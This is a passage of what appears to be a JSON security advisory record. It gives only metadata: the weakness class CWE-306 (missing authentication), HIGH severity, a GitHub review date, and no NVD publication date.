  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T16:05:57Z",
    "nvd_published_at" : null
  }
}